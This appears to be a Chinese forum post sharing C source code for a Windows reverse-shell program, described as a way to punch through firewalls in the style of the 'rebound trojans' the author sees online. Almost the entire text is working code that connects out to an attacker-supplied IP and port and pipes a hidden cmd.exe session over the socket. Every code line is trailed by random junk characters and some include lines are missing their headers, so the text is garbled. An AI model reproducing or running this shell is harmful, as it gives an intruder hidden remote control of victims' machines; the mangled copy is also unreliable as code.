这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qx2M"uFJ
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/* ============================== ?f&O4H
Rebound port in Windows NT W~Ae&gcn#
By wind,2006/7 Uxb>)36I
===============================*/ O;H|nW}
#include e{E8_2d
#include F$nc9x[S
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#pragma comment(lib,"wsock32.lib") /j$`Cq3I
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void OutputShell(); W`g zMx
SOCKET sClient; |@Sj:^cJD
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }
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void main(int argc,char **argv) 4ztU) 1
{ e763yd
WSADATA stWsaData; \?~cJMN
int nRet; NGL,j\(~7
SOCKADDR_IN stSaiClient,stSaiServer; ~Hb2-V
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if(argc != 3) 6O|
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{ H-/w8_} KG
printf("Useage:\n\rRebound DestIP DestPort\n"); &[qJ=HMm I
return; FfpP<(4
} A40Q~X
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WSAStartup(MAKEWORD(2,2),&stWsaData); Cd'`rs}3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ux+UcBKm-
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stSaiClient.sin_family = AF_INET; kX "*kD
stSaiClient.sin_port = htons(0); HC(7,3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :)DvZx HE@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,ePl>m:Z
{ W_RN@O
printf("Bind Socket Failed!\n"); +~\ 1g^h
return; |{9&!=/qf
} -h%1rw
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stSaiServer.sin_family = AF_INET; M~Ph/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5 nS}h76mZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H{I,m-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |oX1J<LM
{ o[B"J96b
printf("Connect Error!"); O~4Q:#^c
return; *yqke<o9)
} Wo7`gf_ (
OutputShell(); tJ9gwx7Pg
} ZYs?65.
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void OutputShell() !P@4d G
{ u]MQ(@HHF
char szBuff[1024]; fir#5,*q|
SECURITY_ATTRIBUTES stSecurityAttributes; S t;@ZV
OSVERSIONINFO stOsversionInfo; SdNxSD$Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RW|Xh8.O
STARTUPINFO stStartupInfo; rbc7CPq_^
char *szShell; 35n'sVn
PROCESS_INFORMATION stProcessInformation; 9O|k|FD
unsigned long lBytesRead; yII+#?D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K:54`UJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rp,Us#>6
stSecurityAttributes.lpSecurityDescriptor = 0; NuR3]Ja\0
stSecurityAttributes.bInheritHandle = TRUE; tOxTiaa=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7=a=@D[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4azqH;i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~ugH2jiB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y
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stStartupInfo.wShowWindow = SW_HIDE; bA\(oD+:
stStartupInfo.hStdInput = hReadPipe; xwa@h}\#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W<T
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GetVersionEx(&stOsversionInfo); rAh|r}R
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switch(stOsversionInfo.dwPlatformId) %hi]oz
{ &?Z<"+B8S
case 1: P1dFoQz
szShell = "command.com"; hr`,s!0Y
break; KskPFXxP
default: 3*#$:waGd
szShell = "cmd.exe"; "1%\Fi l
break; }% `f%/
} ]e(\<R6Gf
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kJpr:4;@_
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send(sClient,szMsg,77,0); }gKY_e3
while(1) Xa_:B\ic
{ [BKOK7QK|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cK\'D
if(lBytesRead) %|B$y;q^3
{ )0zg1z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gf70 O>E
send(sClient,szBuff,lBytesRead,0); )WsR
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} +2g}wH)l
else SXx4^X
{ rm4t
lBytesRead=recv(sClient,szBuff,1024,0); V(;c#%I2
if(lBytesRead<=0) break; {hVc,\A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); : eFyd`Syw
} ~~}8D"
} /Nns3oE
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return;
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}